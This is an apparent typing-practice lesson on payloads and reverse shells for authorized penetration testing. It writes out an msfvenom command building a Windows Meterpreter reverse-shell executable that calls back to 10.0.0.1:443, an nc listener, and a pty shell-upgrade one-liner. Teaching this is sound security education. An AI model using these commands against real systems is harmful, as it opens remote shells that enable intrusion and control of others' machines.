Typorithm · hard

Payloads & Reverse Shells

payloads-shellspentestmsfvenomreverse-shelllistener

Saved on this device

Full lesson · 8 learning steps Open any exercise for focused practice

Step 1 of 8 · intro card

Learn Payloads & Reverse Shells

Exploitation

msfvenom generates a payload that, when run on an in-scope host, connects back to the tester's listener (a reverse shell via nc or the Metasploit multi/handler). Shells are stabilized with a pty. Bind vs reverse describes which side listens — all strictly inside the authorized scope.

A payload is the code that runs after an exploit succeeds. msfvenom generates one and bakes in where it should call home: LHOST and LPORT point at the tester's listener, while -f and -o choose the output format and file. This only runs on hosts inside the authorized scope.

The tester opens a matching listener — nc -lvnp for a plain shell, or Metasploit's multi/handler for a Meterpreter payload. When the payload runs, it connects back, giving the tester a session.

Raw shells are clumsy (no job control, no tab completion), so testers stabilize them by spawning a pty. The bind-versus-reverse distinction is simply which side listens: a bind shell listens on the target, while a reverse shell has the target connect outbound to the tester — handy when only outbound traffic is allowed.

msfvenom builds a payload aimed at LHOST/LPORT.

nc -lvnp (or multi/handler) is the matching listener.

A pty stabilizes a raw shell into a real terminal.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o p.exe
nc -lvnp 443
python3 -c 'import pty; pty.spawn("/bin/bash")'
# reverse shell connects back to the tester

Read the implementation

Connect each part of the code to the concept before you type.

1. Generate a payload

msfvenom builds a payload; LHOST/LPORT point it back to the tester's listener, and -f/-o pick the output format and file.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o p.exe

2. Start a listener

nc -lvnp listens on a port so an incoming reverse shell from an in-scope host has somewhere to connect.

nc -lvnp 443

3. Stabilize the shell

Spawning a pty upgrades a raw reverse shell into a fully interactive terminal.

python3 -c 'import pty; pty.spawn("/bin/bash")'

4. Reverse direction

In a reverse shell the target initiates the connection back to the tester's listener, which often crosses outbound-only firewalls.

# reverse shell connects back to the tester

5. Listener port

LPORT is the port the payload calls home on; it must match the listener's port.

LPORT=443

A complete learning loop

Understand

Read the concept map and follow the code breakdown.

Reconstruct

Type the implementation, repair mistakes and work through every recall exercise.

Verify

Use the final check without hints; revisit weak concepts in short practice sessions.